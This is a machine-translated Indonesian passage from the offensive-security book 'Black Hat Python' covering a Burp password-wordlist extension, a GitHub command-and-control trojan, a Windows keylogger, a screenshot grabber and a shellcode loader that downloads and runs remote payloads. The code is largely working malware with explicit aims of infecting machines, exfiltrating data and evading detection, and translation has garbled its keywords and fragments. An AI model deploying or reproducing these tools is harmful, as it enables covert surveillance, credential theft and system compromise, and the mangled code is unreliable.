parser JSON kami 4. Untuk setiap rangkaian hasil, kami menampilkan beberapa informasi
tentang situs yang kami temukan 5. Jika situs yang ditemukan tidak berada dalam cakupan
target Burp 6, kami secara otomatis menambahkannya.
Dalam melakukannya, kami telah memadukan Jython API dan Python murni dalam
ekstensi Burp. Ini akan membantu kita melakukan pekerjaan pengintaian tambahan ketika kita
menyerang target tertentu. Mari kita coba.
Menendang Ban
Agar ekstensi pencarian Bing berfungsi, gunakan prosedur yang sama yang kami gunakan untuk
ekstensi fuzzing. Saat dimuat, telusuri ke http:// testphp.vulnweb.
com/ lalu klik kanan permintaan GET yang baru saja Anda keluarkan. Jika ekstensi dimuat
dengan benar, Anda akan melihat opsi menu “Kirim ke Bing” ditampilkan, seperti yang
ditunjukkan pada Gambar 6-9.
Ketika Anda mengklik opsi menu ini, Anda akan mulai melihat hasilnya
Bing, seperti pada Gambar 6-10. Jenis hasil yang Anda peroleh akan bergantung pada
keluaran yang Anda pilih saat memuat ekstensi.
Jika Anda mengklik tab Target di Burp dan memilih Scope, Anda akan melihat item baru
secara otomatis ditambahkan ke cakupan target, seperti yang ditunjukkan pada Gambar 6-11.
Cakupan target membatasi aktivitas seperti serangan, spidering, dan pemindaian hanya pada host
yang ditentukan.
108 Bab 6
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Gambar 6-10: Ekstensi kami menyediakan output dari pencarian Bing API
Gambar 6-11: Menampilkan bagaimana host yang ditemukan secara otomatis ditambahkan ke target Burp
cakupan
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
impor ulang
kelas TagStripper(HTMLParser):
def __init__(diri):
HTMLParser.__init__(diri)
mandiri.halaman_teks = []
110 Bab 6
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
# Mulailah dengan sesuatu yang kita tahu adalah hal yang umum
4 diri.daftar kata = set(["kata sandi"])
kembali
kembali menu_daftar
Kode dalam daftar ini seharusnya sudah cukup familiar sekarang. Kami mulai dengan
mengimpor modul yang diperlukan. Kelas pembantu TagStripper akan memungkinkan kita
menghapus tag HTML dari respons HTTP yang kita proses nanti. Metode handle_data -nya
menyimpan teks halaman 1 dalam variabel anggota. Kami juga mendefinisikan metode
handle_comment karena kami juga ingin menambahkan kata-kata yang disimpan dalam
komentar pengembang ke daftar kata sandi. Di bawah selimut, pegangan_
comment cukup panggil handle_data 2 (jika kami ingin mengubah cara kami memproses teks halaman nanti).
def wordlist_menu(diri,acara):
# ambil detail dari apa yang diklik pengguna
http_traffic = mandiri.konteks.getSelectedMessages()
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
mandiri.display_wordlist()
kembali
tag_stripper = TagStripper()
4 halaman_teks = tag_stripper.strip(badan)
kembali
kembali hancur
112 Bab 6
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
def display_wordlist(diri):
3 cetak "#!komentar: Daftar Kata BHP untuk situs %s" % ", ".join(self.hosts)
kembali
Bagus sekali! Metode mangle mengambil kata dasar dan mengubahnya menjadi
sejumlah tebakan kata sandi berdasarkan beberapa strategi umum pembuatan kata sandi.
Dalam contoh sederhana ini, kita membuat daftar sufiks untuk ditempelkan di akhir kata
dasar, termasuk tahun berjalan 1. Selanjutnya, kita mengulang setiap sufiks dan
menambahkannya ke kata dasar 2 untuk membuat upaya kata sandi yang unik. Kami
melakukan perulangan lain dengan versi kata dasar yang dikapitalisasi untuk pengukuran
yang baik. Dalam metode display_wordlist , kami mencetak komentar bergaya “John the
Ripper” 3 untuk mengingatkan kami situs mana yang kami gunakan untuk membuat daftar kata
ini. Kemudian kami memotong setiap kata dasar dan mencetak hasilnya. Saatnya mengajak
bayi ini bermain-main.
Menendang Ban
Klik tab Extender di Burp, klik tombol Add , dan kemudian gunakan prosedur yang sama
seperti yang kita gunakan untuk ekstensi sebelumnya agar ekstensi Wordlist berfungsi.
Di tab Dashboard, pilih New live task, seperti yang ditunjukkan pada Gambar 6-12.
Saat dialog muncul, pilih Tambahkan semua tautan yang diamati di lalu lintas. . .,
seperti yang ditunjukkan pada Gambar 6-13, dan klik OK.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
114 Bab 6
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Sekarang periksa tab Output dari ekstensi. Dalam praktiknya, kami akan menyimpan outputnya ke
sebuah file, namun untuk tujuan demonstrasi kami menampilkan daftar kata di Burp, seperti yang ditunjukkan
pada Gambar 6-15.
Anda sekarang dapat memasukkan daftar ini kembali ke Burp Intruder untuk melakukan
serangan menebak kata sandi yang sebenarnya.
Gambar 6-15: Daftar kata sandi berdasarkan konten dari situs web target
Kami sekarang telah mendemonstrasikan sebagian kecil dari Burp API dengan menghasilkan muatan
serangan kami sendiri, serta membuat ekstensi yang berinteraksi dengan Burp UI. Selama pengujian penetrasi,
Anda akan sering menghadapi masalah atau kebutuhan otomasi tertentu, dan Burp Extender API menyediakan
antarmuka yang sangat baik untuk membuat kode, atau setidaknya menyelamatkan Anda dari keharusan terus-
menerus menyalin dan menempel menangkap data dari Burp ke alat lain.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
7
PERINTAH DAN KONTROL GITHUB
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Setelah menyiapkan semua ini, kami akan meretas mekanisme impor pustaka asli Python
sehingga saat Anda membuat modul trojan baru, implan Anda dapat mengambilnya secara
otomatis, dan pustaka dependen lainnya, langsung dari repo Anda.
Memanfaatkan GitHub untuk tugas-tugas ini bisa menjadi strategi cerdas: lalu lintas Anda
ke GitHub akan dienkripsi melalui Secure Sockets Layer (SSL), dan kami sebagai penulis telah melihat
sangat sedikit perusahaan yang secara aktif memblokir GitHub itu sendiri. Kami akan menggunakan
repo pribadi sehingga pengintai tidak dapat melihat apa yang kami lakukan. Setelah Anda mengkodekan
kemampuan tersebut ke dalam trojan, secara teoritis Anda dapat mengubahnya menjadi biner dan
meletakkannya di mesin yang telah disusupi sehingga dapat berjalan tanpa batas waktu. Kemudian
Anda dapat menggunakan repositori GitHub untuk memberi tahu apa yang harus dilakukan dan
menemukan apa yang ditemukannya.
Sekarang mari kita buat struktur dasar untuk repo kita. Masukkan yang berikut ini pada baris
perintah:
$ mkdir bhptrojan
$ cd bhptrojan
$git panas
$ modul mkdir
$mkdir konfigurasi
$ mkdir data
$ sentuh .gitignore
$ git add $ .
git commit -m "Menambahkan struktur repo untuk trojan."
$ git jarak jauh tambahkan asal https://github.com/<nama pengguna Anda>/bhptrojan.git
$ git dorong master asal
Di sini, kami telah membuat struktur awal untuk repo. Direktori config menyimpan file
konfigurasi unik untuk setiap trojan. Saat Anda menyebarkan trojan, Anda ingin masing-masing
trojan melakukan tugas yang berbeda, sehingga setiap trojan akan memeriksa file konfigurasi
terpisah. Direktori modul berisi kode modular apa pun yang harus diambil dan dijalankan oleh
trojan. Kami akan menerapkan peretasan impor khusus untuk memungkinkan trojan kami
mengimpor perpustakaan langsung dari repo GitHub kami.
Kemampuan pemuatan jarak jauh ini juga memungkinkan Anda menyimpan perpustakaan pihak
ketiga di GitHub sehingga Anda tidak perlu terus-menerus mengkompilasi ulang trojan Anda setiap
kali Anda ingin menambahkan fungsionalitas atau dependensi baru. Direktori data adalah tempat
trojan akan memeriksa setiap data yang dikumpulkan.
Anda dapat membuat token akses pribadi di situs GitHub dan menggunakannya sebagai
pengganti kata sandi saat melakukan operasi Git melalui HTTPS dengan
118 Bab 7
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
API. Token tersebut harus memberikan izin baca dan tulis kepada trojan kita, karena ia perlu membaca
konfigurasinya dan menulis hasilnya. Ikuti petunjuk di situs GitHub untuk membuat token dan
menyimpan string token dalam file lokal bernama mytoken.txt.
2
Kemudian, tambahkan mytoken.txt ke file .gitignore sehingga
Anda tidak memasukkan kredensial Anda ke repositori secara tidak sengaja.
Sekarang mari kita membuat beberapa modul sederhana dan contoh file konfigurasi.
Membuat Modul
Di bab selanjutnya, Anda akan melakukan hal-hal buruk dengan trojan Anda, seperti mencatat
penekanan tombol dan mengambil tangkapan layar. Namun untuk memulai, mari kita buat
beberapa modul sederhana yang dapat kita uji dan terapkan dengan mudah. Buka file baru di
direktori modul , beri nama dirlister.py, dan masukkan kode berikut:
impor mereka
def lari(**args):
print("[*] Dalam modul direktorir.")
file = os.listdir(".")
kembalikan str(file)
Potongan kecil kode ini mendefinisikan fungsi run yang mencantumkan semua file di
direktori saat ini dan mengembalikan daftar tersebut sebagai string. Setiap modul yang Anda
kembangkan harus mengekspos fungsi run yang menggunakan sejumlah argumen yang bervariasi.
Hal ini memungkinkan Anda memuat setiap modul dengan cara yang sama, namun tetap
memungkinkan Anda menyesuaikan file konfigurasi untuk meneruskan argumen berbeda ke modul
jika Anda menginginkannya.
Sekarang mari kita buat modul lain dalam file bernama environment.py:
impor mereka
def lari(**args):
print("[*] Dalam modul lingkungan.")
kembalikan os.environ
Modul ini hanya mengambil variabel lingkungan apa pun yang disetel pada mesin jarak jauh
tempat trojan dijalankan.
Sekarang mari kita masukkan kode ini ke repo GitHub kita sehingga trojan kita dapat
menggunakannya. Dari baris perintah, masukkan kode berikut dari direktori repositori utama Anda:
$ git tambahkan .
$ git commit -m "Menambahkan modul baru"
$ git dorong master asal
Nama belakang: ********
Kata sandi: ********
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Anda akan melihat kode Anda dikirim ke repo GitHub Anda; merasa bebas
untuk masuk ke akun Anda dan periksa ulang! Ini adalah bagaimana Anda dapat terus
mengembangkan kode di masa depan. Kami akan menyerahkan integrasi modul yang lebih
kompleks kepada Anda sebagai pekerjaan rumah.
Untuk menilai modul apa pun yang Anda buat, dorong modul tersebut ke GitHub lalu aktifkan
di file konfigurasi untuk trojan versi lokal Anda. Dengan cara ini, Anda dapat mengujinya pada
mesin virtual (VM) atau perangkat keras host yang Anda kendalikan sebelum mengizinkan
salah satu trojan jarak jauh Anda mengambil kode dan
Gunakan.
Konfigurasi Trojan
Kami ingin menugaskan trojan kami untuk melakukan tindakan tertentu. Ini berarti kita
memerlukan cara untuk memberitahukan tindakan apa yang harus dilakukan dan modul apa
yang bertanggung jawab untuk melakukan tindakan tersebut. Menggunakan file konfigurasi
memberi kita tingkat kontrol tersebut. Hal ini juga memungkinkan kita untuk secara efektif
menidurkan trojan (dengan tidak memberinya tugas apa pun) jika kita memilihnya. Agar sistem
ini dapat bekerja, setiap trojan yang Anda gunakan harus memiliki ID unik. Dengan begitu, Anda
dapat mengurutkan data yang diambil berdasarkan ID ini dan mengontrol trojan mana yang melakukan tugas terten
Kami akan mengkonfigurasi trojan untuk mencari di direktori konfigurasi untuk TROJANID
.json, yang akan mengembalikan dokumen JSON sederhana yang dapat kita parsing,
dikonversi ke kamus Python, dan kemudian digunakan untuk memberi tahu trojan kita tugas
mana yang harus dilakukan. Format JSON juga memudahkan untuk mengubah opsi konfigurasi.
Pindah ke direktori konfigurasi Anda dan buat file bernama abc
.json dengan konten berikut:
[
{
"modul": "dirlister"
},
{
"modul": "lingkungan"
}
]
Ini hanyalah daftar sederhana modul yang harus dijalankan oleh trojan jarak jauh.
Nanti, Anda akan melihat cara kami membaca dokumen JSON ini dan kemudian mengulangi
setiap opsi untuk memuat modul tersebut.
Saat Anda melakukan brainstorming ide modul, Anda mungkin menemukan bahwa ada
gunanya menyertakan opsi konfigurasi tambahan, seperti durasi eksekusi, berapa kali modul
dijalankan, atau argumen yang akan diteruskan ke modul. Anda juga dapat menambahkan
beberapa metode eksfiltrasi data, seperti yang kami tunjukkan di Bab 9.
$ git tambahkan.
$ git commit -m "Menambahkan konfigurasi sederhana."
$ git dorong master asal
120 Bab 7
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Nama belakang: ********
Kata sandi: ********
Sekarang setelah Anda memiliki file konfigurasi dan beberapa modul sederhana untuk dijalankan,
mari mulai membangun trojan utama.
impor base64
impor github3
impor importlib
impor json
impor acak
sistem impor
impor threading
waktu impor
Kode pengaturan sederhana ini berisi impor yang diperlukan, yang akan menjaga ukuran
trojan secara keseluruhan tetap relatif kecil saat dikompilasi. Kami mengatakan "relatif" karena sebagian
besar binari Python yang dikompilasi menggunakan pyinstaller berukuran sekitar 7MB.
3
Kami akan membuang biner ini ke mesin yang telah disusupi.
Jika Anda ingin menggunakan teknik ini untuk membangun botnet lengkap (jaringan yang
terdiri dari banyak implan semacam itu), Anda memerlukan kemampuan untuk menghasilkan
trojan secara otomatis, mengatur ID-nya, membuat file konfigurasi yang dikirim ke GitHub, dan
mengompilasi trojan tersebut ke dalam sebuah yang dapat dieksekusi. Namun kami tidak akan
membangun botnet hari ini; kami akan membiarkan imajinasi Anda yang bekerja.
Sekarang mari kita letakkan kode GitHub yang relevan:
1 def github_connect():
dengan open('mytoken.txt') sebagai f:
token = f.baca()
pengguna = 'tiarno'
sess = github3.login(token=token)
kembalikan sess.repositori (pengguna, 'bhptrojan')
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
token dari file itu dan mengembalikan koneksi ke repositori GitHub. Anda mungkin ingin membuat
token yang berbeda untuk trojan yang berbeda sehingga Anda dapat mengontrol apa yang dapat
diakses oleh setiap trojan di repositori Anda. Dengan begitu, jika korban menangkap trojan Anda,
mereka tidak dapat datang dan menghapus semua data yang Anda ambil.
Fungsi get_file_contents menerima nama direktori, nama modul, dan koneksi repositori dan
mengembalikan konten modul yang ditentukan 2. Fungsi ini bertanggung jawab untuk mengambil file
dari repo jarak jauh dan membaca konten secara lokal. Kami akan menggunakannya untuk membaca
opsi konfigurasi dan kode sumber modul.
Sekarang kita akan membuat kelas Trojan yang melakukan tugas trojan penting:
kelas Trojan:
1 def __init__(diri, id):
diri.id = id
self.config_file = f'{id}.json'
2 self.data_path = f'data/{id}/'
3 mandiri.repo = github_connect()
Ketika kita menginisialisasi objek Trojan 1, kita menetapkan informasi konfigurasinya dan
jalur data di mana trojan akan menulis file keluarannya 2, dan kita membuat koneksi ke repositori 3.
Sekarang kita akan menambahkan metode yang kita perlukan untuk berkomunikasi dengan
itu:
1 def get_config(diri):
config_json = get_file_contents(
'config', self.config_file, self.repo
)
config = json.loads(base64.b64decode(config_json))
config = mandiri.get_config()
untuk tugas di konfigurasi:
benang = threading.Benang(
target=diri.module_runner,
122 Bab 7
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
args=(tugas['modul'],))
utas.mulai()
waktu.tidur(acak.randint(1, 10))
6 kali.tidur(random.randint(30*60, 3*60*60))
dari repo sehingga trojan Anda mengetahui modul mana yang akan dijalankan. Eksekutif
panggilan membawa konten modul ke objek trojan 2. module_runner
Metode memanggil fungsi run dari modul yang baru saja diimpor 3. Kita akan membahas lebih
detail tentang cara pemanggilannya di bagian berikutnya. Dan toko_modul_
metode hasil 4 membuat file yang namanya menyertakan tanggal dan waktu saat ini dan
kemudian menyimpan outputnya ke dalam file itu. Trojan akan menggunakan ketiga metode ini
untuk mengirim data apa pun yang dikumpulkan dari mesin target ke GitHub.
Dalam metode run 5, kami mulai menjalankan tugas-tugas ini. Langkah pertama adalah
mengambil file konfigurasi dari repo. Kemudian kita memulai modul di threadnya sendiri.
Sedangkan pada metode module_runner , kita memanggil proses modul
berfungsi untuk menjalankan kodenya. Ketika selesai berjalan, ia akan mengeluarkan string
yang kemudian kita dorong ke repo kita.
Ketika menyelesaikan suatu tugas, trojan akan tidur selama beberapa waktu secara
acak dalam upaya menggagalkan analisis pola jaringan apa pun. 6. Tentu saja, Anda dapat
membuat banyak lalu lintas ke google.com/, atau sejumlah situs lain yang tampak tidak
berbahaya, dalam upaya menyamarkan apa yang sedang dilakukan trojan Anda.
Sekarang mari kita buat peretasan impor untuk mengimpor file jarak jauh dari repo
GitHub.
kelas GitImportir:
def __init__(diri):
""
mandiri.current_module_code =
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Setiap kali penerjemah mencoba memuat modul yang tidak tersedia, ia akan menggunakan
kelas GitImporter ini . Pertama, metode find_module mencoba menemukan lokasi modul. Kami
meneruskan panggilan ini ke pemuat file jarak jauh kami. Jika kami dapat menemukan file di repo
kami, kami mendekode kode base64 dan menyimpannya di kelas 1. (GitHub akan memberi kami
data yang dikodekan base64.) Dengan mengembalikan self, kami menunjukkan kepada
penerjemah Python bahwa kami menemukan modul dan ia dapat memanggil metode load_module
untuk memuatnya. Kami menggunakan importlib asli
modul untuk terlebih dahulu membuat objek modul kosong baru 2 dan kemudian menyekop kode
yang kita ambil dari GitHub ke dalamnya. Langkah terakhir adalah memasukkan modul yang baru
dibuat ke dalam daftar sys.modules 3 sehingga dapat diambil oleh panggilan impor di masa
mendatang.
Sekarang mari kita berikan sentuhan akhir pada trojan dan mencobanya:
Menendang Ban
Baiklah! Mari kita uji hal ini dengan menjalankannya dari baris perintah:
PERINGATAN Jika Anda memiliki informasi sensitif dalam file atau variabel lingkungan, ingatlah bahwa tanpa
repositori pribadi, informasi tersebut akan masuk ke GitHub agar seluruh dunia dapat melihatnya.
Jangan bilang kami tidak memperingatkan Anda. Tentu saja, Anda dapat melindungi diri Anda
sendiri dengan menggunakan teknik enkripsi yang akan Anda pelajari di Bab 9.
$ python git_trojan.py
[*] Mencoba mengambil direktorir
[*] Mencoba mengambil kembali lingkungan
[*] Dalam modul direktorir
[*] Dalam modul lingkungan.
124 Bab 7
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Luar biasa! Trojan memeriksa hasil dari dua modul yang berjalan.
Anda dapat melakukan sejumlah perbaikan dan penyempurnaan pada teknik inti perintah
dan kontrol ini. Mengenkripsi semua modul, konfigurasi, dan data yang dieksfiltrasi akan menjadi awal
yang baik. Anda juga perlu mengotomatiskan proses penarikan data, memperbarui file konfigurasi, dan
meluncurkan trojan baru jika Anda ingin menginfeksi sistem dalam skala besar. Saat Anda
menambahkan lebih banyak fungsi, Anda juga perlu memperluas cara Python memuat perpustakaan
dinamis dan terkompilasi.
Untuk saat ini, mari kita bekerja membuat beberapa tugas trojan yang berdiri sendiri, dan kita akan melakukannya
serahkan pada Anda untuk mengintegrasikannya ke dalam trojan GitHub baru Anda.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
8
TUGAS UMUM
DI JENDELA
interaktif ke alat seperti CANVAS atau Metasploit. Bab ini berfokus pada melakukan
tugas-tugas ini pada sistem Windows. Kami akan merangkum beberapa teknik deteksi kotak pasir
untuk menentukan apakah kami menjalankannya di dalam kotak pasir antivirus atau forensik.
Modul-modul ini akan mudah untuk dimodifikasi dan akan bekerja dalam kerangka trojan yang
dikembangkan di Bab 7. Pada bab selanjutnya, kita akan mengeksplorasi teknik eskalasi hak
istimewa yang dapat Anda terapkan dengan trojan Anda. Setiap teknik memiliki tantangan dan
kemungkinan tertangkapnya masing-masing, baik oleh pengguna akhir atau solusi antivirus.
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Kami menyarankan Anda membuat model target dengan hati-hati setelah Anda
menanamkan trojan sehingga Anda dapat menguji modul di lab Anda sebelum
mencobanya pada target langsung. Mari kita mulai dengan membuat keylogger sederhana.
impor mereka
impor pythoncom
impor pyWinhook sebagai pyHook
sistem impor
waktu impor
impor papan klip win32
kelas KeyLogger:
def __init__(diri):
self.current_window = Tidak ada
def get_current_process(diri):
1 hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
2 windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
process_id = f'{pid.nilai}'
1. PyWinHook adalah cabang dari perpustakaan PyHook asli dan diperbarui untuk mendukung Python 3.
Unduh PyWinHook di sini: https:// pypi.org/ project/ pyWinhook/.
128 Bab 8
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
window_title = buat_string_buffer(512)
5 windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
mencoba:
self.current_window = window_title.value.decode()
kecuali UnicodeDecodeError sebagai e:
print(f'{e}: nama jendela tidak diketahui')
6 mencetak('\n', proses_id,
dapat dieksekusi.nilai.decode(), self.current_window)
windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_proses)
mencetak(f'{event.Key}')
kembali Benar
pasti dijalankan():
simpan_stdout = sys.stdout
sys.stdout = StringIO()
kl = KeyLogger()
4 hm = pyHook.HookManager()
5 hm.KeyDown = kl.mykeystroke
6 hm.HookKeyboard()
sementara waktu.thread_time() < WAKTU HABIS:
pythoncom.PumpWaitingMessages()
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
log = sys.stdout.getvalue()
sys.stdout = simpan_stdout
catatan pengembalian
Mari kita uraikan hal ini, dimulai dengan fungsi run . Di Bab 7, kami membuat modul yang
dapat dijalankan oleh target yang disusupi. Setiap modul memiliki fungsi titik masuk yang
disebut run, jadi kita menulis keylogger ini mengikuti pola yang sama dan kita dapat
menggunakannya dengan cara yang sama. Fungsi run dalam sistem perintah-dan-kontrol
dari Bab 7 tidak memerlukan argumen dan mengembalikan outputnya. Untuk mencocokkan
perilaku tersebut di sini, untuk sementara kami mengalihkan stdout ke objek mirip file,
StringIO. Sekarang, semua yang ditulis ke stdout akan menuju ke objek itu, yang akan kita
tanyakan nanti.
Setelah berpindah stdout, kita membuat objek KeyLogger dan mendefinisikan PyWinHook
HookManager 4. Selanjutnya, kita mengikat event KeyDown ke KeyLogger
metode panggilan balik mykeystroke 5. Kami kemudian menginstruksikan PyWinHook untuk
mengaitkan semua penekanan tombol 6 dan melanjutkan eksekusi hingga waktu habis.
Setiap kali target menekan tombol pada keyboard, metode mykeystroke kami dipanggil
dengan objek event sebagai parameternya. Hal pertama yang kita lakukan di mykeystroke
adalah memeriksa apakah pengguna telah mengubah windows 1, dan jika demikian, kita
memperoleh nama jendela baru dan memproses informasi. Kami kemudian melihat penekanan
tombol yang dikeluarkan 2, dan jika berada dalam kisaran ASCII yang dapat dicetak, kami
cukup mencetaknya. Jika itu adalah pengubah (seperti tombol SHIFT, CTRL, atau ALT) atau
kunci non-standar lainnya, kami mengambil nama kunci dari objek acara. Kami juga memeriksa
apakah pengguna melakukan operasi tempel 3, dan jika demikian, kami membuang konten
clipboard. Fungsi callback diakhiri dengan mengembalikan True untuk memungkinkan
hook berikutnya dalam rantai—jika ada—untuk memproses kejadian tersebut. Mari kita mencobanya!
Menendang Ban
Sangat mudah untuk menguji keylogger kami. Cukup jalankan dan mulai gunakan Windows
secara normal. Coba gunakan browser web, kalkulator, atau aplikasi lainnya, lalu lihat
hasilnya di terminal Anda:
C:\Pengguna\tim>python keylogger.py
Kembali
130 Bab 8
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Anda dapat melihat bahwa kami mengetikkan kata test ke dalam jendela utama tempat skrip
keylogger dijalankan. Kami kemudian menjalankan Firefox, menjelajah ke nostarch.com/, dan
menjalankan beberapa aplikasi lainnya. Sekarang kita dapat dengan aman mengatakan bahwa kita
telah menambahkan key-logger kita ke dalam kumpulan trik trojaning kita! Mari beralih ke mengambil tangkapan layar.
Sebagian besar malware dan kerangka pengujian penetrasi menyertakan kemampuan untuk mengambil
tangkapan layar pada target jarak jauh. Ini dapat membantu menangkap gambar, bingkai video, atau data
sensitif lainnya yang mungkin tidak Anda lihat dengan pengambilan paket atau keylogger. Untungnya,
kita dapat menggunakan paket PyWin32 untuk melakukan panggilan asli ke Windows API untuk
mengambilnya. Instal paket dengan pip:
Pengambil tangkapan layar akan menggunakan Windows Graphics Device Interface (GDI) untuk
menentukan properti yang diperlukan, seperti total ukuran layar, dan untuk mengambil gambar.
Beberapa software screenshot hanya akan mengambil gambar jendela atau aplikasi yang sedang aktif,
namun kami akan menangkap keseluruhan layar.
Mari kita mulai. Buka screenshotter.py dan masukkan kode berikut:
impor base64
impor win32api
impor win32con
impor win32gui
impor win32ui
1 def get_dimensions():
lebar = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
tinggi = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
kiri = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
atas = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
kembali (lebar, tinggi, kiri, atas)
3 desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
4 mem_dc = img_dc.CreateCompatibleDC()
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
mem_dc.HapusDC()
win32gui.DeleteObject(tangkapan layar.GetHandle())
8 pasti dijalankan():
tangkapan layar()
dengan open('screenshot.bmp') sebagai f:
img = f.baca()
kembalikan gambar
Mari kita tinjau apa yang dilakukan skrip kecil ini. Kami memperoleh pegangan
untuk seluruh desktop 2, yang mencakup seluruh area yang dapat dilihat di beberapa
monitor. Kami kemudian menentukan ukuran layar (atau layar) 1 sehingga kami
mengetahui dimensi yang diperlukan untuk tangkapan layar. Kita membuat konteks
perangkat menggunakan panggilan fungsi GetWindowDC 3 dan meneruskan pegangan
ke desktop.2 Selanjutnya, buat konteks perangkat berbasis memori 4, di mana kita akan
menyimpan pengambilan gambar hingga kita menulis byte bitmap ke file. Kami kemudian
membuat objek bitmap 5 yang diatur ke konteks perangkat desktop kami. Panggilan
SelectObject kemudian mengatur konteks perangkat berbasis memori untuk menunjuk
pada objek bitmap yang kita tangkap. Kami menggunakan fungsi BitBlt 6 untuk
mengambil salinan gambar desktop sedikit demi sedikit dan menyimpannya dalam
konteks berbasis memori. Anggap saja ini sebagai panggilan memcpy untuk objek
GDI. Langkah terakhir adalah membuang image ini ke disk 7.
Skrip ini mudah untuk diuji: jalankan saja dari baris perintah dan periksa direktori untuk file
screenshot.bmp Anda. Anda juga dapat menyertakan skrip ini dalam repo perintah dan kontrol
GitHub Anda, karena fungsi run 8 memanggil fungsi tangkapan layar untuk membuat gambar dan
kemudian membaca dan mengembalikan data file.
2. Untuk mempelajari semua tentang konteks perangkat dan pemrograman GDI, kunjungi halaman MSDN
di sini: https:// docs.microsoft.com/ en-us/ windows/ win32/ gdi/ device-contexts.
132 Bab 8
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
kita akan menggunakan urllib untuk mengambil kode shell dari server web dalam format base64 dan
kemudian menjalankannya. Mari kita mulai! Buka shell_exec.py dan masukkan kode berikut:
impor base64
impor ctypes
kernel32 = ctypes.windll.kernel32
def get_code(url): 1
dengan request.urlopen(url) sebagai respons: shellcode =
base64.decodebytes(response.read()) return shellcode
2 def write_memory(buf):
panjang = len(buf)
kernel32.VirtualAlloc.restype = ctypes.c_void_p 3
kernel32.RtlMoveMemory.argtypes =
( ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_size_t)
ptr = tulis_memori(buffer)
Betapa mengagumkannya itu? Kami memulai blok utama kami dengan memanggil fungsi
get_code untuk mengambil kode shell yang dikodekan base64 dari server web kami 1.
Kemudian kita memanggil fungsi run untuk menulis kode shell ke dalam memori dan mengeksekusinya.
Dalam fungsi run , kami mengalokasikan buffer 5 untuk menyimpan kode shell setelah kami
mendekodekannya. Selanjutnya kita memanggil fungsi write_memory untuk menulis buffer ke dalam
memori 2.
Untuk dapat menulis ke dalam memori, kita harus mengalokasikan memori yang kita perlukan
(VirtualAlloc) lalu memindahkan buffer yang berisi shellcode ke dalamnya.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
memori yang dialokasikan (RtlMoveMemory). Untuk memastikan bahwa shellcode akan berjalan baik
kita menggunakan Python 32- atau 64-bit, kita harus menentukan bahwa hasil yang kita inginkan
kembali dari VirtualAlloc adalah sebuah pointer, dan argumen yang akan kita berikan pada fungsi
RtlMoveMemory adalah dua pointer dan sebuah objek ukuran. Kami melakukan ini dengan mengatur
VirtualAlloc.restype dan RtlMoveMemory.argtypes 3. Tanpa langkah ini, lebar alamat memori yang
dikembalikan dari VirtualAlloc tidak akan sesuai dengan lebar yang diharapkan RtlMoveMemory .
Dalam panggilan ke VirtualAlloc 4, parameter 0x40 menetapkan bahwa memori harus memiliki
izin yang ditetapkan untuk mengeksekusi dan akses baca/tulis; jika tidak, kami tidak akan dapat
menulis dan mengeksekusi kode shell. Kemudian kita memindahkan buffer ke dalam memori yang
dialokasikan dan mengembalikan pointer ke buffer. Kembali ke fungsi run , fungsi ctypes.cast
memungkinkan kita untuk menggunakan buffer untuk bertindak seperti penunjuk fungsi 6 sehingga
kita dapat memanggil kode shell seperti kita memanggil fungsi Python normal. Kami menyelesaikannya
dengan memanggil fungsi pointer, yang kemudian menyebabkan kode shell dijalankan 7.
Menendang Ban
Anda dapat membuat kode shellcode secara manual atau menggunakan kerangka kerja pentesting
favorit Anda seperti CANVAS atau Metasploit untuk menghasilkannya untuk Anda.3 Kami memilih
beberapa shellcode Windows x86 dengan generator payload Metasploit (msfvenom dalam kasus
kami). Buat shellcode mentah di /tmp/ shellcode.raw di mesin Linux Anda sebagai berikut:
Kami membuat kode shell dengan msfvenom dan kemudian menyandikannya ke base64
